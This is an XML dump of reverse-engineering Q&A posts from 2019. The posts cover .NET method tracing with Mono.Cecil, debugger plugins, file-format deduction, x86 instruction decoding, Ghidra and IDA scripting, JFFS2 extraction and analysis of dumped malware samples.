  <row Id="22367" PostTypeId="1" CreationDate="2019-10-22T15:48:34.253" Score="5" ViewCount="1623" Body="&lt;p&gt;I have a heavily obfuscated Windows service binary. Fields, types and methods are renamed. While it is possible to decompile the binary using dnSpy, it is still very cumbersome to identify important/interesting locations statically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to dynamically instrument the binary in order to gain a deeper understanding of certain execution paths? I don't know a lot about CLR internals but my understanding is that instrumentation is not easily possible because of JIT compilation of IL instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody has suggestions for tracing execution paths in the binary, I'd highly appreciate your input. Additionally, if anybody has seen a similar obfuscation scheme before, please let me know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/emslz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/emslz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The sample can be downloaded from: &lt;a href=&quot;https://gofile.io/?c=qrNky4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gofile.io/?c=qrNky4&lt;/a&gt; (not malicious; part of a VPN software)&lt;/p&gt;&#xA;" OwnerUserId="29966" LastEditorUserId="29966" LastEditDate="2019-10-28T09:39:56.613" LastActivityDate="2019-10-28T09:39:56.613" Title="Trace Method Calls in .NET/C# Binary" Tags="|obfuscation|.net|c#|instrumentation|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22368" PostTypeId="1" AcceptedAnswerId="22370" CreationDate="2019-10-22T16:08:46.913" Score="2" ViewCount="345" Body="&lt;p&gt;I am following a RE tutorial, and the guy is using Ollydbg while I use x64dbg... and I don't find all the descriptions in that Olly has, and it's quite annoying !&#xA;There is an example from the two programs running the same Reverseme :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/66DGV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/66DGV.png&quot; alt=&quot;x64dbg  screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2owEE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2owEE.png&quot; alt=&quot;Ollydbg  screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I enable the same detailed descriptions in x64dbg? Is it even possible?&lt;/p&gt;&#xA;" OwnerUserId="26598" LastEditorUserId="60" LastEditDate="2019-10-23T10:53:05.707" LastActivityDate="2019-10-23T10:53:05.707" Title="Detailed API call descriptions not available in x64dbg" Tags="|ollydbg|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22369" PostTypeId="2" ParentId="22350" CreationDate="2019-10-22T18:32:36.810" Score="5" Body="&lt;p&gt;Although some clues on the file's origin could be useful, the format seems to be pretty simple so can be deduced from the sample. It is not a full-fledged filesystem but a simple archive/package. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the file's header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct Header&#xA;{&#xA;  uint32 signature;  // 0xFA77FA77&#xA;  uint32 data_start; // offset of the start of file's data&#xA;  uint32 timestamp;  // possibly file's creation time.649953358 corresponds to August 6, 1990 2:35:58 PM&#xA;  uint32 data_end;   // offset of the end of file's data&#xA;  uint32 checksum;   // possibly checksum (CRC-32?)&#xA;  uint32 num_files;  // number of file entries following the header (52)&#xA;  uint32 field_18;   // unknown (0)&#xA;  uint32 field_1C;   // unknown (0xFFFF)&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is followed by &lt;code&gt;num_files&lt;/code&gt; records for the files, 0x100 bytes each:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct FileRecord&#xA;{&#xA;  char name[224]; //file path (0-padded)&#xA;  uint32 offset;  // offset to data(from header.data_start)&#xA;  uint32 size;       // size of data&#xA;  uint32 field_E8;   // unknown (0); possibly high half of 64-bit size&#xA;  uint32 checksum;   // possibly checksum (CRC-32?)&#xA;  uint32 field_F0;   // unknown (0)&#xA;  uint32 field_F4;   // unknown (0)&#xA;  uint32 field_F8;   // unknown (1)&#xA;  uint32 field_FC;   // unknown (2)&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on this, creating an extractor should be trivial.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-22T18:32:36.810" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22370" PostTypeId="2" ParentId="22368" CreationDate="2019-10-22T20:01:54.417" Score="2" Body="&lt;p&gt;Out of the box, x64dbg doesn't have a feature to show Win API call descriptions unlike OllyDbg. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that, you need to use a plugin like &lt;a href=&quot;https://github.com/ThunderCls/xAnalyzer&quot; rel=&quot;nofollow noreferrer&quot;&gt;xAnalyzer&lt;/a&gt; or the older &lt;a href=&quot;https://github.com/mrfearless/APIInfo-Plugin-x86&quot; rel=&quot;nofollow noreferrer&quot;&gt;APIInfo Plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2019-10-22T20:01:54.417" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22371" PostTypeId="1" CreationDate="2019-10-22T22:37:00.273" Score="1" ViewCount="311" Body="&lt;p&gt;OK. So I am really trying to figure out how to use the &quot;Intel 64 and IA-32 Architectures Software Developer's Manual&quot; for myself, since it seems like the authoritative source for x86(_64) machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking at a program in Ghidra (specifically, a dynamically linked .so file to the program I actually care about). File info for the .so file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I come to the following instruction in Ghidra:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ff 25 de ad be ef  --- deadbeef being a substitute for the real bytes.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have Ghidra set up so that I can right click on the instruction and go to the relevant page in the processor manual, which brings me to the JMP reference (p.590 in the version of the manual I have). Cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From looking through the options there, I find the &lt;code&gt;ff&lt;/code&gt; opcode rows that correspond to the instruction I am looking at. Further, I know that my &lt;code&gt;ModR/M&lt;/code&gt; byte is &lt;code&gt;25H&lt;/code&gt; which corresponds to &lt;code&gt;MOD = 00B&lt;/code&gt;, &lt;code&gt;REG = 100B&lt;/code&gt; and &lt;code&gt;R/M = 101B&lt;/code&gt; so I know that this narrows it down to the &lt;code&gt;FF /4&lt;/code&gt; rows in the &lt;code&gt;JMP&lt;/code&gt; instruction description table. But how do I know if it is referring to &lt;code&gt;JMP r/m16&lt;/code&gt; or &lt;code&gt;JMP r/m32&lt;/code&gt; or &lt;code&gt;JMP r/m64&lt;/code&gt;? Also what is the difference between those three? And further, I know from looking at tables 2-1 through 2-3 (combined with how Ghidra interprets the instruction) that &lt;code&gt;de ad be ef&lt;/code&gt; actually ends up being a disp32 that gets added to the index. But how would I have known which table to reference in tables 2-1 to 2-3, and how does that information correspond to choosing between &lt;code&gt;JMP r/m16&lt;/code&gt; or &lt;code&gt;JMP r/m32&lt;/code&gt; or &lt;code&gt;JMP r/m64&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="29970" LastActivityDate="2019-10-22T22:37:00.273" Title="How to interpret binary instruction using the intel manual" Tags="|ghidra|x86-64|intel|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22372" PostTypeId="1" AcceptedAnswerId="24636" CreationDate="2019-10-23T06:16:56.777" Score="8" ViewCount="8418" Body="&lt;p&gt;I'm trying to learn how to use &lt;a href=&quot;https://www.zynamics.com/bindiff.html&quot; rel=&quot;noreferrer&quot;&gt;BinDiff&lt;/a&gt; tool, but I can't figure out how to open two binaries to do the comparison. While skimming through their manual, it seems like I need to have IDA Pro for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use BinDiff without IDA Pro (say, with just IDA free)?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2020-04-06T21:59:46.863" Title="Do I need to have IDA Pro to use the BinDiff tool?" Tags="|bin-diffing|tool-bindiff|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22374" PostTypeId="2" ParentId="22372" CreationDate="2019-10-23T07:35:35.393" Score="3" Body="&lt;p&gt;Bindiff can be a plugin in IDA or a standalone, but you still need the IDA database to compare binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hLXxp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hLXxp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2019-10-23T07:35:35.393" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22375" PostTypeId="1" CreationDate="2019-10-23T17:44:29.067" Score="2" ViewCount="323" Body="&lt;p&gt;I've come across an SQLite database (gmm_storage.db) used by Google Maps on Android, and I'm unsure as to how the data it contains is serialised. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IVFtq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IVFtq.png&quot; alt=&quot;Blob extracted from Google Maps Android database&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm saying serialised, as from the header 0xACED it appears to be a Java serialised object.  However, as I have no idea what the serialised class actually looks like, I've been unable to deserialise it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also not entirely sure it's standard Java serialisation, as I've tried a number of different tools, and Java itself,  and all of them report that the stream is corrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see some references to standard Java classes, such as java/util/Set, but also a lot of smaller references to things like 'fic', or 'vot'.  I'm guessing these are either obfuscated class names, or they are part of some kind of lookup/offset table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My other guess is that as it's a Google product, it's probably using a Google serialisation library, like GSON or protobuf, but the data doesn't look like either of those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone come across this before, or can shine some light on it?&lt;/p&gt;&#xA;" OwnerUserId="29977" LastActivityDate="2020-09-21T14:39:26.277" Title="Google Maps, Android serialisation format" Tags="|binary-analysis|android|java|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="22377" PostTypeId="1" CreationDate="2019-10-23T21:40:01.847" Score="2" ViewCount="1545" Body="&lt;p&gt;I'm pretty new to Ghidra, and looking to use it's API (headless analyzer) and get the assembled file through command line using python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code, which is likely far from the correct code. It gives error, and I am stuck. Would you please help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command I am using to run the script is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;analyzeHeadless ~/Desktop/ghidra_9.1-BETA_DEV   DNETSamples.gpr -scriptPath ~/Desktop/ghidra_9.1-BETA_DEV  -postScript disassemble.py    -process -recursive&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is disassemble.py:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;# -*- coding: utf-8 -*-&#xA;&#xA;&#xA;from ghidra.util.task import ConsoleTaskMonitor&#xA;from ghidra.app.cmd.disassemble import DisassembleCommand&#xA;from ghidra.app.script import GhidraScript&#xA;from  ghidra.program.model.address import AddressSet&#xA;&#xA;&#xA;&#xA;addset = AddressSet()&#xA;addset.add(currentAddress)&#xA;cmd = DisassembleCommand(addset, None, True)&#xA;cmd.doDisassembly​(ConsoleTaskMonitor(), currentProgram, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error is &lt;code&gt;java.lang.IllegalArgumentException: Cannot create PyString with non-byte value&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INFO  SCRIPT: ghidra_9.1-BETA_DEV/ghidra_decomp.py (HeadlessAnalyzer)&#xA;Exception in thread &quot;Python script execution thread&quot; java.lang.IllegalArgumentException: Cannot create PyString with non-byte value&#xA;    at org.python.core.PyString.&amp;lt;init&amp;gt;(PyString.java:57)&#xA;    at org.python.core.PyString.&amp;lt;init&amp;gt;(PyString.java:70)&#xA;    at org.python.core.PyString.&amp;lt;init&amp;gt;(PyString.java:74)&#xA;    at org.python.core.PySyntaxError.&amp;lt;init&amp;gt;(PySyntaxError.java:31)&#xA;    at org.python.core.ParserFacade.fixParseError(ParserFacade.java:95)&#xA;    at org.python.core.ParserFacade.parse(ParserFacade.java:190)&#xA;    at org.python.core.Py.compile_flags(Py.java:2185)&#xA;    at org.python.core.\__builtin__.execfile_flags(\__builtin__.java:527)&#xA;    at org.python.util.PythonInterpreter.execfile(PythonInterpreter.java:286)&#xA;    at ghidra.python.GhidraPythonInterpreter.execFile(GhidraPythonInterpreter.java:232)&#xA;    at ghidra.python.PythonScriptExecutionThread.run(PythonScriptExecutionThread.java:51)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29981" LastEditorUserId="245" LastEditDate="2019-11-03T16:59:06.280" LastActivityDate="2020-12-01T06:07:20.753" Title="Python Script to get disassembled output of an EXE file" Tags="|disassembly|python|ghidra|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22378" PostTypeId="2" ParentId="22321" CreationDate="2019-10-24T01:57:32.150" Score="0" Body="&lt;p&gt;The &lt;code&gt;jmp&lt;/code&gt; instruction with opcode 0xE9 uses a 32bit signed integer as its parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This parameter is added to the address of the instruction &lt;strong&gt;after&lt;/strong&gt; the &lt;code&gt;jmp&lt;/code&gt; instruction to calculate the final address. It is allowed to be negative which is the case when your hook address is less than your hooked function's address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to why swapping them around crashes - it calculates the wrong number. It would calculate &lt;code&gt;What do I have to add to the hook address to get to the hooked function's address&lt;/code&gt; which is the other way round.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-10-24T01:57:32.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22379" PostTypeId="2" ParentId="20950" CreationDate="2019-10-24T03:46:02.833" Score="2" Body="&lt;p&gt;Yea, it's not completely automatic like IDA Pro.&#xA;Although the NSA dev team is very active on the project. And any US citizen should be able to add such a feature (via Java) and make a pull request to add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found what you do is simply add the module to your Ghidra project.&#xA;When you click on the module/executable it will ask &quot;...Would you like to analyze it now?&quot;.&#xA;Click &quot;No&quot;, load your PDB, and then start the analysis manually via the &quot;Analysis&quot; menu option.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2019-10-24T03:46:02.833" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22384" PostTypeId="1" AcceptedAnswerId="22386" CreationDate="2019-10-24T17:33:00.983" Score="0" ViewCount="145" Body="&lt;p&gt;I am using some code like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   import idaapi&#xA;   print(idaapi.get_32bit(0x0055f4a0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it must return 32 bit of address as int&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it returns 1408011093&#xA;is it wrong conversion?&#xA;its length is less than the maximum length of int &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it somehow changes the value &#xA;I expected to get return value like ‭5633184‬&lt;/p&gt;&#xA;" OwnerUserId="29993" LastEditorUserId="29993" LastEditDate="2019-10-24T18:03:18.137" LastActivityDate="2019-10-24T19:11:26.853" Title="IDApython confused with get_32bit(ea) function behavior" Tags="|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22386" PostTypeId="2" ParentId="22384" CreationDate="2019-10-24T19:11:26.853" Score="0" Body="&lt;p&gt;&lt;code&gt;get_32bit(0x0055f4a0)&lt;/code&gt; returns the 32-bit value in your IDB at the address &lt;code&gt;0x0055f4a0&lt;/code&gt;. 1408011093 decimal is &lt;code&gt;0x53EC8B55&lt;/code&gt; in hex which fits in 32 bits. In little endian format this corresponds to the byte sequence &lt;code&gt;55 8B EC 53&lt;/code&gt;, so 0x0055f4a0 is likely a function start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert hex to decimal you don't need IDA APIs but just standard Python functionality, e.g. &lt;code&gt;str(int(0x0055f4a0))&lt;/code&gt;. But this is best discussed on Stack Overflow since that's a programming question and not RE.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-24T19:11:26.853" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22387" PostTypeId="2" ParentId="22265" CreationDate="2019-10-24T21:13:12.700" Score="2" Body="&lt;p&gt;I also had this question. The only solution I've found involves using the &lt;a href=&quot;https://www.capstone-engine.org/lang_python.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone&lt;/a&gt; Python bindings in conjunction with IDA. The method call is &lt;code&gt;regs_access&lt;/code&gt; &lt;a href=&quot;https://www.capstone-engine.org/op_access.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.capstone-engine.org/op_access.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29678" LastActivityDate="2019-10-24T21:13:12.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22388" PostTypeId="1" CreationDate="2019-10-25T05:52:35.283" Score="2" ViewCount="3169" Body="&lt;p&gt;I extracted the content of a NAND Flash and analyzed it with binwalk.&lt;br&gt;&#xA;Binwalk showed me that the dump contains a big endian JFFS2 filesystem. My next step was extracting the files into a directory. To do so I simply used binwalk. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;binwalk -Me Dump&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem is that binwalk usually creates an other directory that should contain all the folders and files of the filesystem and this is not working. &lt;br&gt;&#xA;Binwalk creates the directory but it is empty. I have Jefferson installed as well as everything that is important for it to work and I tried to do the same thing with an other Dump that I found in the internet and it worked without any problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later I found out that the byte order of my CPU is little endian. I don't know if that is causing the issue and to be honest I do not know if there is a way to change the byte order of the jffs2 file to try it out. Maybe someone knows more about that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An other thing that keeps bothering me is the fact that when I use the file command to check the jffs2 file it simply returns &quot;data&quot;. &lt;br&gt;&#xA;Again I don't know if the endianness is causing this issue. What I can tell is when I checked the other dump that I found in the internet the jffs2 fs was in little endian and binwalk could create the directory with all the files and the file command also returned &quot;jffs2 little endian&quot; instead of just &quot;data&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that the endianness is causing the issue and is there a way to change the byte order of the filesystem?&lt;/p&gt;&#xA;" OwnerUserId="29398" LastActivityDate="2021-09-14T08:50:23.587" Title="Problem with analyzing a JFFS2 Filesystem" Tags="|firmware|binwalk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22390" PostTypeId="1" CreationDate="2019-10-25T07:36:31.607" Score="1" ViewCount="769" Body="&lt;p&gt;On malware sharing communities, I have been noticing that the samples shared are marked as &lt;em&gt;unpacked&lt;/em&gt; or &lt;em&gt;dumped&lt;/em&gt;. I have tried to load the &lt;em&gt;dumped&lt;/em&gt; malware in &lt;code&gt;IDAFree&lt;/code&gt;, however, there is nothing in the &lt;code&gt;imports&lt;/code&gt; table. The malware samples are usually marked as &lt;code&gt;&amp;lt;hash&amp;gt;_dump_0x00980000&lt;/code&gt; for instance. &lt;code&gt;0x00980000&lt;/code&gt; seems like a memory address. But what does it mean for me trying to analyze it in IDA Free? Do I have to use that information somehow in &lt;code&gt;IDA&lt;/code&gt; to load the sample correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I know: I realize that most real-world malware are packed. I understand the motivation behind this obfuscation and I understand how it can either be automatically unpacked if we know which packer was used, or it can be manually unpacked by stepping through it in a debugger and dumping relevant memory sections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do not understand how to analyze these &quot;dumped&quot; samples in IDA free. Most of the time, I see nothing in imports section and that makes the sample really hard to analyze. Is there a difference between &lt;em&gt;unpacked&lt;/em&gt; and &lt;em&gt;dumped&lt;/em&gt; that I should know about while loading it in &lt;code&gt;IDA&lt;/code&gt; to see the actual imports section?&lt;/p&gt;&#xA;" OwnerUserId="17040" LastActivityDate="2019-11-21T09:21:10.363" Title="What is the difference between malware that is 'dumped' and one that is 'unpacked'?" Tags="|ida|disassembly|binary-analysis|malware|ghidra|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22391" PostTypeId="2" ParentId="22390" CreationDate="2019-10-25T08:12:00.800" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a difference between unpacked and dumped that I should know about while loading it in IDA to see the actual imports section?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can dump anything not only packed binaries, but with packed ones it usually comes with stripped imports table just to make it hard(-er) to analyze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After sample is unpacked it usually rebuild its import table so it can run correctly. So for you to be able to analyze the sample correctly in IDA, Ghidra or any other too, you should dump it after it's being done (it's usually the first call in the unpacked binary) or rebuild it on your own in your dump after it's being unpacked. Also it might be required to map this file to correct address so that memory addresses are resolved correctly.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-10-25T08:12:00.800" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22393" PostTypeId="2" ParentId="22331" CreationDate="2019-10-25T12:28:30.490" Score="0" Body="&lt;p&gt;Finally, I figure it out by myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All bytes, including start and stop byte, must be passed to CRC algorithm. Important part is CRC bytes must be substituted with zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;66 01 fa 00 00 01 00 00 00 00 0a 99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;get result &lt;strong&gt;0x9157&lt;/strong&gt; in standard &lt;strong&gt;CRC-16/TELEDISK&lt;/strong&gt; algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found very useful this online CRC calculator: &lt;a href=&quot;https://crccalc.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crccalc.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29923" LastActivityDate="2019-10-25T12:28:30.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22394" PostTypeId="2" ParentId="22367" CreationDate="2019-10-25T19:58:25.823" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;that instrumentation is not easily possible because of JIT compilation of IL instructions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well it's actually the opposite. Tracing methods is quite easy - it would be difficult if we would like to trace fields usages. .NET assemblies contain rich type/method information that can be used to inspect/modify them. There's also a great library that does that plus more - &lt;a href=&quot;https://www.mono-project.com/docs/tools+libraries/libraries/Mono.Cecil/&quot; rel=&quot;noreferrer&quot;&gt;Mono.Cecil&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the help if this library we can achieve what you want (&lt;a href=&quot;https://gist.github.com/pawlos/4758365fdef3bcbf733ba73e636fcfb7&quot; rel=&quot;noreferrer&quot;&gt;gist&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System;&#xA;using System.IO;&#xA;using System.Linq;&#xA;using Mono.Cecil;&#xA;using Mono.Cecil.Cil;&#xA;&#xA;class TraceIL&#xA;{&#xA;    static void Main(string[] args)&#xA;    {&#xA;        if (args.Length != 1)&#xA;        {&#xA;            Console.WriteLine(&quot;TraceIL.exe &amp;lt;assembly&amp;gt;&quot;);&#xA;            return;&#xA;        }&#xA;&#xA;        string fileName = args[0];&#xA;        ModuleDefinition module = ModuleDefinition.ReadModule(fileName);&#xA;        MethodReference consoleWriteLine =&#xA;            module.ImportReference(typeof(Console).GetMethod(&quot;WriteLine&quot;, new Type[] {typeof(object)}));&#xA;        foreach (TypeDefinition type in module.Types)&#xA;        {&#xA;            foreach (var methodDefinition in type.Methods)&#xA;            {&#xA;                var ilBody = methodDefinition.Body;&#xA;                var ilProcessor = ilBody.GetILProcessor();&#xA;&#xA;                var firstOp = methodDefinition.Body.Instructions.First();&#xA;                var ldstrEntering = Instruction.Create(OpCodes.Ldstr, $&quot;--Entering {methodDefinition.Name}&quot;);&#xA;                ilProcessor.InsertBefore(firstOp, ldstrEntering);&#xA;                var call = Instruction.Create(OpCodes.Call, consoleWriteLine);&#xA;                ilProcessor.InsertBefore(firstOp, call);&#xA;                var ldstrLeaving = Instruction.Create(OpCodes.Ldstr, $&quot;--Leaving {methodDefinition.Name}&quot;);&#xA;                var lastOp = methodDefinition.Body.Instructions.Last();&#xA;                ilProcessor.InsertBefore(lastOp, ldstrLeaving);&#xA;                ilProcessor.InsertBefore(lastOp, call);&#xA;            }&#xA;        }&#xA;        module.Write(Path.GetFileNameWithoutExtension(fileName)+&quot;.modified&quot;+Path.GetExtension(fileName));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to explain a little bit what's going on. For every method on every type we find in the assembly, we get the &lt;code&gt;ILProcessor&lt;/code&gt; that allows us to modify the code. Having that we just insert a string and a call to &lt;code&gt;Console.WriteLine&lt;/code&gt; just before the first existing opcode, and similar code just before the end of the method. At the very end we save the new binary under the same name with &lt;code&gt;.modified&lt;/code&gt; added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example run:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;λ TestApp.exe&lt;br /&gt;&#xA;  Inside Run&lt;br /&gt;&#xA;  Inside Inside&lt;br /&gt;&#xA;  MoreInside&lt;br /&gt;&#xA;  OtherProgramRun&lt;br /&gt;&lt;br /&gt;&#xA;  λ TraceIL.exe TestApp.exe&lt;br /&gt;&lt;br /&gt;&#xA;  λ TestApp.modified.exe&lt;br /&gt;&#xA;  --Entering Main&lt;br /&gt;&#xA;  --Entering .ctor&lt;br /&gt;&#xA;  --Leaving .ctor&lt;br /&gt;&#xA;  --Entering Run&lt;br /&gt;&#xA;  Inside Run&lt;br /&gt;&#xA;  --Entering Inside&lt;br /&gt;&#xA;  Inside Inside&lt;br /&gt;&#xA;  --Entering MoreInside&lt;br /&gt;&#xA;  MoreInside&lt;br /&gt;&#xA;  --Entering .ctor&lt;br /&gt;&#xA;  --Leaving .ctor&lt;br /&gt;&#xA;  --Entering OtherProgramRun&lt;br /&gt;&#xA;  OtherProgramRun&lt;br /&gt;&#xA;  --Leaving OtherProgramRun&lt;br /&gt;&#xA;  --Leaving MoreInside&lt;br /&gt;&#xA;  --Leaving Inside&lt;br /&gt;&#xA;  --Leaving Run&lt;br /&gt;&#xA;  --Leaving Main&lt;br /&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course form there you can do some crazy stuff, like adding timestamp and/or list passed arguments, etc. Since your sample is obfuscated it might not work form the start, but I guess this code is not that difficult to be modified as needed.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-10-25T19:58:25.823" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22395" PostTypeId="2" ParentId="22342" CreationDate="2019-10-25T21:54:54.947" Score="1" Body="&lt;p&gt;As stated in the comments by others, this depends what you mean exactly by &quot;continue&quot;. I see this having 2 possible meanings:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You want to return to where the function was called from. You may be able to do this by patching that instruction with a &lt;code&gt;ret&lt;/code&gt; or &lt;code&gt;jmp&lt;/code&gt;, making sure things line up.&lt;/li&gt;&#xA;&lt;li&gt;You want the program to execute the next instruction immediately following the &lt;code&gt;call exit&lt;/code&gt;. In this case, you want that instruction to have no effect, so &quot;no-operation&quot;. Thus, &lt;code&gt;nop&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24222" LastEditorUserId="18014" LastEditDate="2019-10-26T07:12:41.057" LastActivityDate="2019-10-26T07:12:41.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
